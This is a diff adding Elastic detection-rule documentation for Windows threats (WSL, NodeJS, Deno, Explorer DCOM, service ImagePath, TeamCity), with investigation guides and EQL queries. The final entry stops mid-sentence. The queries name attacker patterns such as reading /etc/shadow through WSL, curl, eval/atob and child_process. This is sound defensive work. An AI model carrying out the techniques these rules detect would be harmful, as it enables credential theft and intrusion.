+* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.f-secure.com/hunting-for-windows-subsystem-for-linux/ +* https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/ +* https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution via Windows Subsystem for Linux* + + +Windows Subsystem for Linux (WSL) allows users to run Linux binaries natively on Windows, providing a seamless integration of Linux tools. Adversaries may exploit WSL to execute Linux commands stealthily, bypassing traditional Windows security measures. The detection rule identifies unusual WSL activity by monitoring specific executable paths, command-line arguments, and parent-child process relationships, flagging deviations from typical usage patterns to uncover potential threats. + + +*Possible investigation steps* + + +- Review the process command line and executable path to determine if the execution of bash.exe or any other Linux binaries is expected or authorized for the user or system in question. +- Investigate the parent-child process relationship, especially focusing on whether wsl.exe is the parent process and if it has spawned any unexpected child processes that are not wslhost.exe. +- Examine the command-line arguments used with wsl.exe for any suspicious or unauthorized commands, such as accessing sensitive files like /etc/shadow or /etc/passwd, or using network tools like curl. +- Check the user's activity history and system logs to identify any patterns of behavior that might indicate misuse or compromise, particularly focusing on any deviations from typical usage patterns. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Microsoft Defender XDR, or Sysmon to gather additional context and determine if this is part of a broader attack or isolated incident. + + +*False positive analysis* + + +- Frequent use of WSL for legitimate development tasks may trigger alerts. Users can create exceptions for specific user accounts or directories commonly used for development to reduce noise. +- Automated scripts or tools that utilize WSL for system maintenance or monitoring might be flagged. Identify these scripts and whitelist their specific command-line patterns or parent processes. +- Docker-related processes may cause false positives due to their interaction with WSL. Exclude Docker executable paths from the detection rule to prevent unnecessary alerts. +- Visual Studio Code extensions that interact with WSL can generate alerts. Exclude known non-threatening extensions by specifying their command-line arguments in the exception list. +- Regular system updates or administrative tasks that involve WSL might be misidentified. Document these activities and adjust the detection rule to recognize them as benign. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, such as those involving bash.exe or wsl.exe with unusual command-line arguments. +- Conduct a thorough review of the affected system's WSL configuration and installed Linux distributions to identify any unauthorized changes or installations. +- Remove any unauthorized or suspicious Linux binaries or scripts found within the WSL environment. +- Reset credentials for any accounts that may have been compromised, especially if sensitive files like /etc/shadow or /etc/passwd were accessed. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for WSL activities across the network to detect similar threats in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and + ( + ( + (process.executable : "?:\\Windows\\System32\\bash.exe" or ?process.pe.original_file_name == "Bash.exe") and + not process.command_line : ("bash", "bash.exe") + ) or + process.executable : "?:\\Users\\*\\AppData\\Local\\Packages\\*\\rootfs\\usr\\bin\\bash" or + ( + process.parent.name : "wsl.exe" and process.parent.command_line : "bash*" and not process.name : "wslhost.exe" + ) or + ( + process.name : "wsl.exe" and process.args : ( + "curl", "/etc/shadow", "/etc/passwd", "cat", "--system", "root", "-e", "--exec", "bash", "/mnt/c/*" + ) and not process.args : ("wsl-bootstrap", "docker-desktop-data", "*.vscode-server*") + ) + ) and + not process.parent.executable : ("?:\\Program Files\\Docker\\*.exe", "?:\\Program Files (x86)\\Docker\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-with-nodejs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-with-nodejs.asciidoc new file mode 100644 index 0000000000..e4cf892b41 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-execution-with-nodejs.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-suspicious-execution-with-nodejs]] +=== Suspicious Execution with NodeJS + +Identifies suspicious execution patterns using NodeJS interpeter like process path and arguments. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nodejs.org + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution with NodeJS* + + +Windows scripts, often used for legitimate automation tasks, can be exploited by adversaries to execute malicious code. Attackers may download scripts via browsers or file utilities, then execute them using scripting tools like wscript or mshta. The detection rule identifies such threats by monitoring script creation from internet sources and subsequent execution, focusing on unusual parent-child process relationships and script attributes. + + +*Possible investigation steps* + + +- Analyze the execution event of the scripting utility (node.exe) to identify the command-line arguments used, which may provide insight into the script's intended actions. +- Review node.exe network, files and child process events for any suspicious activity. +- Verify parent and grand parent processes to assess persence of persistence and the potential initial vector. +- Check the user account associated with the script execution to determine if the activity is expected for that user or if it indicates a compromised account. +- Look for any additional related alerts or logs on the host that might indicate further malicious activity or lateral movement following the script execution. + + +*False positive analysis* + + +- Legitimate script automation tools may trigger this rule if they download and execute scripts from the internet. Users can create exceptions for known safe tools by excluding specific file paths or process names. +- Software updates or installations that download scripts as part of their process might be flagged. To handle this, users can whitelist specific origin URLs or referrer URLs associated with trusted software vendors. +- Internal scripts distributed via corporate intranet sites could be misidentified as threats. Users should consider excluding scripts with known internal origin URLs or specific user IDs associated with IT operations. +- Browser extensions or plugins that automate tasks using scripts may cause false positives. Users can exclude these by identifying and excluding the specific browser process names or file extensions involved. +- Frequent use of file utilities like winrar or 7zFM for legitimate script handling can be excluded by specifying trusted file paths or user IDs that regularly perform these actions. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further execution of potentially malicious scripts and lateral movement. +- Terminate any suspicious processes identified in the alert, such as wscript.exe or mshta.exe, to stop the execution of the downloaded script. +- Quarantine the downloaded script file and any associated files to prevent further execution and facilitate forensic analysis. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and analyze the origin URL and referrer URL of the downloaded script to identify potential malicious websites or compromised sources, and block these URLs at the network level. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement application whitelisting to restrict the execution of unauthorized scripts and scripting utilities, reducing the risk of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + +(process.name : "node.exe" or ?process.pe.original_file_name == "node.exe" or ?process.code_signature.subject_name : "OpenJS Foundation") and + +( + (process.executable : ("?:\\Users\\*\\AppData\\*\\node.exe", "\\Device\\HarddiskVolume?\\\\Users\\*\\AppData\\*\\node.exe") and process.args : "*.js") or + + (process.args : "-r" and process.parent.name : "powershell.exe") or + + process.command_line : ("*eval(*", "*atob(*", "*require*child_process*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-explorer-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-explorer-child-process.asciidoc new file mode 100644 index 0000000000..8fdf35a421 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-explorer-child-process.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-21-suspicious-explorer-child-process]] +=== Suspicious Explorer Child Process + +Identifies a suspicious Windows explorer child process. Explorer.exe can be abused to launch malicious scripts or executables from a trusted parent process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Explorer Child Process* + + +Windows Explorer, a core component of the Windows OS, manages file and folder navigation. Adversaries exploit its trusted status to launch malicious scripts or executables, often using DCOM to start processes like PowerShell or cmd.exe. The detection rule identifies such anomalies by monitoring child processes of Explorer with specific characteristics, excluding known benign activities, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the suspicious child process was indeed started by explorer.exe with the specific parent arguments indicating DCOM usage, such as "-Embedding". +- Check the process command line arguments and execution context to identify any potentially malicious scripts or commands being executed by the child process. +- Investigate the parent process explorer.exe to determine if it was started by a legitimate user action or if there are signs of compromise, such as unusual user activity or recent phishing attempts. +- Correlate the event with other security logs or alerts from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. +- Examine the network activity associated with the suspicious process to detect any unauthorized data exfiltration or communication with known malicious IP addresses. +- Assess the system for any additional indicators of compromise, such as unexpected changes in system files or registry keys, which might suggest a broader attack. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule when they use scripts or executables like PowerShell or cmd.exe. Users can create exceptions for known software update processes by identifying their specific command-line arguments or parent process details. +- System administrators often use scripts for maintenance tasks that might be flagged by this rule. To prevent false positives, administrators should document and exclude these routine scripts by specifying their unique process arguments or execution times. +- Some enterprise applications may use DCOM to launch processes for legitimate purposes. Users should identify these applications and exclude their specific process signatures or parent-child process relationships from the rule. +- Automated testing environments might execute scripts or commands that resemble suspicious activity. Users can mitigate false positives by excluding processes that are part of known testing frameworks or environments. +- Certain security tools or monitoring software may use similar techniques to gather system information. Users should verify and exclude these tools by confirming their process names and execution patterns. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious child process identified in the alert, such as cscript.exe, wscript.exe, powershell.exe, rundll32.exe, cmd.exe, mshta.exe, or regsvr32.exe, to stop any ongoing malicious actions. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and analyze the parent process explorer.exe and its command-line arguments to understand how the malicious process was initiated and to identify any potential persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar suspicious activities involving explorer.exe to enhance detection capabilities and prevent recurrence. +- Review and update endpoint security policies to restrict the execution of potentially malicious scripts or executables from explorer.exe, especially when initiated via DCOM. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("cscript.exe", "wscript.exe", "powershell.exe", "rundll32.exe", "cmd.exe", "mshta.exe", "regsvr32.exe") or + ?process.pe.original_file_name in ("cscript.exe", "wscript.exe", "PowerShell.EXE", "RUNDLL32.EXE", "Cmd.Exe", "MSHTA.EXE", "REGSVR32.EXE") + ) and + /* Explorer started via DCOM */ + process.parent.name : "explorer.exe" and process.parent.args : "-Embedding" and + not process.parent.args: + ( + /* Noisy CLSID_SeparateSingleProcessExplorerHost Explorer COM Class IDs */ + "/factory,{5BD95610-9434-43C2-886C-57852CC8A120}", + "/factory,{ceff45ee-c862-41de-aee2-a022c81eda92}" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-imagepath-service-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-imagepath-service-creation.asciidoc new file mode 100644 index 0000000000..ade92737ca --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-imagepath-service-creation.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-suspicious-imagepath-service-creation]] +=== Suspicious ImagePath Service Creation + +Identifies the creation of a suspicious ImagePath value. This could be an indication of an adversary attempting to stealthily persist or escalate privileges through abnormal service creation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious ImagePath Service Creation* + + +Windows services are crucial for running background processes. Adversaries exploit this by creating or modifying services with malicious ImagePath values to gain persistence or escalate privileges. The detection rule monitors registry changes to ImagePath entries, flagging unusual patterns like command shells or named pipes, which are often used in stealthy attacks. This helps identify and mitigate potential threats early. + + +*Possible investigation steps* + + +- Review the registry event logs to identify the specific ImagePath value that triggered the alert, focusing on entries with command shells or named pipes, such as those containing "%COMSPEC%*" or "*\\.\\pipe\\*". +- Investigate the associated service name and description in the registry path "HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath" to determine if it is a legitimate service or potentially malicious. +- Check the creation or modification timestamp of the suspicious ImagePath entry to correlate with other system events or user activities around the same time. +- Analyze the parent process and user account responsible for the registry change to assess if it aligns with expected behavior or if it indicates unauthorized access. +- Search for related network activity or connections, especially those involving named pipes, to identify any lateral movement or data exfiltration attempts. +- Cross-reference the alert with threat intelligence sources to determine if the ImagePath value or associated service is linked to known malware or adversary techniques. + + +*False positive analysis* + + +- Legitimate software updates or installations may modify ImagePath values, triggering alerts. Users can create exceptions for known software update processes to reduce noise. +- System administrators might intentionally change service configurations for maintenance or optimization. Document and exclude these planned changes to prevent false positives. +- Some enterprise applications use named pipes for inter-process communication, which could be flagged. Identify and whitelist these applications to avoid unnecessary alerts. +- Security tools or scripts that automate service management might alter ImagePath values. Ensure these tools are recognized and excluded from monitoring to minimize false alerts. +- Regularly review and update the list of exceptions to ensure they align with current organizational practices and software environments. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes associated with the identified ImagePath values, such as those involving command shells or named pipes. +- Remove or disable the malicious service by reverting the ImagePath registry entry to its legitimate state or deleting the service if it is not required. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional threats or malware. +- Review and restore any modified system files or configurations to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for similar registry changes and suspicious service creations to detect and respond to future threats promptly. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "ImagePath" and + registry.path : "*\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath" and + /* add suspicious registry ImagePath values here */ + registry.data.strings : ("%COMSPEC%*", "*\\.\\pipe\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-javascript-execution-via-deno.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-javascript-execution-via-deno.asciidoc new file mode 100644 index 0000000000..74ac9494f4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-javascript-execution-via-deno.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-21-suspicious-javascript-execution-via-deno]] +=== Suspicious JavaScript Execution via Deno + +Detects execution of JavaScript via Deno with suspicious command-line patterns (base64, eval, http, or import in a javascript context). Adversaries may abuse Deno to run malicious JavaScript for execution or staging. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://reliaquest.com/blog/threat-spotlight-casting-a-wider-net-clickfix-deno-and-leaknets-scaling-threat +* https://deno.com/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Data Source: Windows Security Event Logs + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious JavaScript Execution via Deno* + + +Deno is a legitimate JavaScript/TypeScript runtime. This rule fires when a Deno process (identified by name, PE original filename, or code signer "Deno Land Inc.") is started with a command line matching suspicious patterns: javascript with base64, eval(, http, or javascript import. Such patterns are commonly used to run inline or remote scripts and can indicate abuse. + + +*Possible investigation steps* + + +- Review process.command_line and process.args to see the exact script or URL being executed. +- Identify the parent process and how Deno was launched (user, script, terminal, or other tool). +- Check whether Deno is approved on the host; if not, treat as potential unauthorized software execution. +- Correlate with file creation or network events around the same time (downloads, script drops). + + +*False positive analysis* + + +- Legitimate development or automation that runs Deno with eval, http imports, or base64-encoded snippets may trigger; allowlist by host or command-line pattern where appropriate. + + +*Response and remediation* + + +- If abuse is confirmed: contain the host, terminate the Deno process, and remove or block Deno if not authorized; investigate how the script was delivered and scope for similar activity. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "deno.exe" or ?process.pe.original_file_name == "deno.exe" or ?process.code_signature.subject_name == "Deno Land Inc.") and + process.command_line : ("*javascript*base64*", "*eval(*", "*http*", "*javascript*import*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-jetbrains-teamcity-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-jetbrains-teamcity-child-process.asciidoc new file mode 100644 index 0000000000..252db15dc4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-jetbrains-teamcity-child-process.asciidoc @@ -0,0 +1,223 @@ +[[prebuilt-rule-8-19-21-suspicious-jetbrains-teamcity-child-process]] +=== Suspicious JetBrains TeamCity Child Process + +Identifies suspicious processes being spawned by the JetBrain TeamCity process. This activity could be related to JetBrains remote code execution vulnerabilities. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious JetBrains TeamCity Child Process* + + +JetBrains TeamCity is a continuous integration and deployment server used to automate software development processes. Adversaries may exploit vulnerabilities in TeamCity to execute unauthorized code, potentially spawning malicious child processes. The detection rule identifies unusual child processes initiated by TeamCity's Java executable, flagging potential exploitation attempts by monitoring for known suspicious executables, while excluding legitimate operations. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent and child processes associated with the suspicious activity, focusing on the parent executable paths like "?:\TeamCity\jre\bin\java.exe". +- Examine the command-line arguments of the suspicious child processes, especially those involving "cmd.exe" or "powershell.exe", to understand the actions being executed. +- Check for any recent vulnerabilities or patches related to JetBrains TeamCity that might explain the suspicious behavior. +- Investigate the user account under which the suspicious processes were executed to determine if it aligns with expected usage patterns or if it indicates potential compromise. +- Correlate the alert with other security events or logs from data sources like Sysmon or Microsoft Defender XDR to identify any related malicious activity or indicators of compromise. +- Assess network activity from the host to detect any unusual outbound connections that might suggest data exfiltration or communication with a command and control server. + + +*False positive analysis* + + +- Legitimate build scripts may invoke command-line utilities like cmd.exe or powershell.exe. To handle these, create exceptions for specific scripts by matching known safe arguments or paths. +- Automated tasks or maintenance scripts might use network utilities such as ping.exe or netstat.exe. Exclude these by identifying and allowing specific scheduled tasks or maintenance windows. +- System monitoring tools could trigger processes like tasklist.exe or systeminfo.exe. Whitelist these tools by verifying their source and ensuring they are part of authorized monitoring solutions. +- Development or testing environments may frequently use utilities like explorer.exe or control.exe. Establish exceptions for these environments by defining specific hostnames or IP ranges where such activity is expected. +- Custom scripts or applications might use msiexec.exe for legitimate software installations. Allow these by confirming the source and purpose of the installations, and excluding them based on known safe paths or signatures. + + +*Response and remediation* + + +- Immediately isolate the affected TeamCity server from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious child processes identified by the detection rule, such as cmd.exe or powershell.exe, to halt potential malicious activities. +- Conduct a thorough review of recent changes and deployments in TeamCity to identify any unauthorized modifications or suspicious 